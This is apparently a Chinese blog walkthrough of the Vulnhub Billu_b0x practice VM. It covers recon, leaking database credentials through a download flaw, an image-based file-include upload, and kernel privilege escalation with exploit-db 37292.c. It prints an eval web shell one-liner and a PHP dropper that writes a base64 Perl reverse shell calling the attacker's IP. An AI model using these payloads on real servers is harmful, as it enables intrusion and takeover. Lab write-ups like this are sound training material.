个人博客:点我

本次来试玩一下vulnhub上的Billu_b0x,只有一个flag,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。


IP

Billu_b0x:192.168.31.190
Kali: 192.168.31.17
Win7: 192.168.31.168


信息搜集

端口扫描发现开放了80和22端口

nmap -sV -A -p- 192.168.31.190

御剑扫描发现有add.php c in phpmy test.php panel.php
首页是一个登录窗口,并且提示我们“展现我们sqllabs技巧的时候到了”,明显是sql注入。add.php似乎是一个文件上传,in是phpinfo,phpmy是数据库phpmyadmin的后台管理,test.php似乎是一个file传参的文件包含,panel.php重定向到首页。


渗透过程

常规的还是首页sql注入尝试一下。但手注注不出来,不管什么错误都是报try again。丢进sqlmap不知道什么被过滤了,跑不出注入点,看来这个sql注入是行不通了。

再看一下test.php文件包含,POST先包含一下test.php,直接把文件下了下来,看一下源码并不是文件包含,而是通过一个file_download函数下载。

因此把能下载的文件全都下载下来看一遍。最后在c中发现存在连接数据库的账户密码。

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

phpmy直接登录上去即可进入。

有一种比较骚的做法是直接尝试下载phpmyadmin的默认配置文件,/var/www/phpmy/config.inc.php,下载下来直接就发现有root和roottoor密码,ssh连上去就已经是root用户了,整题就结束了。但这样就太不好玩了,我们还是尝试寻常的办法。

在ica表的auth列中找到后台登录账户和密码,

登录index.php进入panel.php。是一个添加用户和显示用户的界面,先上传一个正常的用户,可以显示出来,右键图片能直接看到上传路径为uploaded_images/,文件名也没有修改。随后上传一个图片码sqzr.jpg,过滤了后缀、文件类型、文件头,利用目录遍历直接访问192.168.31.190/uploaded_images能看到上传成功。

后来在找哪里存在文件包含,test.php显然已经不是了,最终在panel.php中找到

include($dir.'/'.$_POST['load']);

语法是包含当前目录下的load传参,前面的$dir.’/'相当于没有。那么直接页面刷新抓包修改load,

load=uploaded_images/sqzr.jpg&continue=continue&sqzr=phpinfo();

成功显示phpinfo();
但是此时蚁剑不知道为什么不能直接连接,因此利用sqzr先写入一个shell.php,然后直接连接这个文件。(写入时注意$前需要\转义)

load=uploaded_images/sqzr.jpg&continue=continue&sqzr=system("echo '<?php eval(\$_POST[x]);?>' > uploaded_images/shell.php");


提权

进入后先查看版本,是ubuntu 12.04,查找一下漏洞库,有很多漏洞可以利用。我这里使用37292.c

cp /usr/share/exploitdb/exploits/linux/local/37292.c ~/37292.c

然后下载到靶机

cd ~
python -m SimpleHTTPServer 80 wget http://192.168.31.17/37292.c

这里利用蚁剑中的虚拟终端似乎不能提权成功,我还是喜欢使用反弹shell。
蚁剑在uploaded_images中写入shell2.php,源码如下(注意修改):

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = '192.168.31.17'; #修改为你的攻击机ip
$yourport = '7890'; #修改为你的攻击机的监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

kali监听

nc -lvp 4444

然后访问192.168.31.190/uploaded_images/shell2.php就能上线了。
建立虚拟终端

python -c 'import pty;pty.spawn("/bin/bash");'

然后编译执行那个提权文件就可以了。

gcc -pthread 37292.c -o crack -lcrypt
./crack

此时已经提权成功了。


总结

这个靶场的入手点有很多,包含的元素也很多,文件包含 文件上传 漏洞利用 sql注入 数据库配置等等,有一定综合性。

Billu_b0x内网渗透-vulnhub的更多相关文章

  1. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  2. 内网渗透 关于GPO

    网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...

  3. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

  4. [原创]K8 cping 3.0大型内网渗透扫描工具

    [原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...

  5. [源码]Python简易http服务器(内网渗透大文件传输含下载命令)

    Python简易http服务器源码 import SimpleHTTPServerimport SocketServerimport sysPORT = 80if len(sys.argv) != 2 ...

  6. [原创]K8飞刀20150725 支持SOCKS5代理(内网渗透)

    工具: K8飞刀编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/26 3:41:11 简介: ...

  7. MSF 内网渗透笔记

    进入meterpreter模式 在meterpreter中输入shell即可进入CMD窗口接着即可执行CMD命令,例如打开RDP服务REG ADD HKLM\SYSTEM\CurrentControl ...

  8. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  9. 内网渗透之IPC,远程执行

    开启服务 net start Schedule net start wmiApSrv 关闭防火墙 net stop sharedaccess net use \\目标IP\ipc$ "&qu ...

随机推荐

  1. IMO 2021 第一题题解及相关拓展问题分析

    IMO 2021 第 1 题: 设整数 n ≥ 100.伊凡把 n, n + 1, ..., 2n 的每个数写在不同的卡片上.然后他将这 n + 1 张卡片打乱顺序并分成两堆.证明:至少有一堆中包含两 ...

  2. MySQL高可用主从复制部署

    原文转自:https://www.cnblogs.com/itzgr/p/10233932.html作者:木二 目录 一 基础环境 二 实际部署 2.1 安装MySQL 2.2 初始化MySQL 2. ...

  3. Mybatis-Plus增强包

    简介 本框架(Gitee地址 )结合公司日常业务场景,对Mybatis-Plus 做了进一步的拓展封装,即保留MP原功能,又添加更多有用便捷的功能.具体拓展体现在数据自动填充(类似JPA中的审计).关 ...

  4. Element UI:级联选择器Cascader_动态加载_多级请求不同接口(已知第一级调取第二级)

    ELEMENT UI_CASCADER 使用过饿了么级联动态加载的小伙伴应该都知道,lazyLoad本身是一个无差别返回渲染结点的函数. 当我们存在一个需求:已知级联选择器的第一级结点,现在需要通过第 ...

  5. JDBC使用案例

    一.结果集中获取数据并对实体set值,封装成对象返回: 2.封装JDBC工具类 只要执行一次的,如读取配置文件,则写静态代码块: 异常抛出要写明方法才可以throw,静态代码块异常只能捕捉try ca ...

  6. Linux学习笔记--终端命令

    ~ 表示用户目录路径 ls   显示当前目录下的文件或目录 -l 列出文件纤细信息l(list) -a 列出当前目录下所有文件及目录, 包含隐藏的a(all) mkdir   创建目录 -p 创建目录 ...

  7. DataGridView高度自动调整

    AutoResizeGrid.cs代码 /// <summary> /// 根据行数据,自动调整DataGridView高度 /// </summary> public sea ...

  8. webgl 图像处理 加速计算

    webgl 图像处理 webgl 不仅仅可以用来进行图形可视化, 它还能进行图像处理 图像处理1---数据传输 webgl 进行图形处理的第一步: 传输数据到 GPU 下图为传输点数据到 GPU 并进 ...

  9. 358 day09字节流、字符流

    day09[字节流.字符流] 主要内容 IO流 字节流 字符流 异常处理 Properties 教学目标 [ ] 能够说出IO流的分类和功能 [ ] 能够使用字节输出流写出数据到文件 [ ] 能够使用 ...

  10. 通过Wireshark抓包分析谈谈DNS域名解析的那些事儿

    文/朱季谦 本文主要想通过动手实际分析一下是如何通过DNS服务器来解析域名获取对应IP地址的,毕竟,纸上得来终觉浅,绝知此事要躬行. 域名与IP地址 当在浏览器上敲下"www.baidu.c ...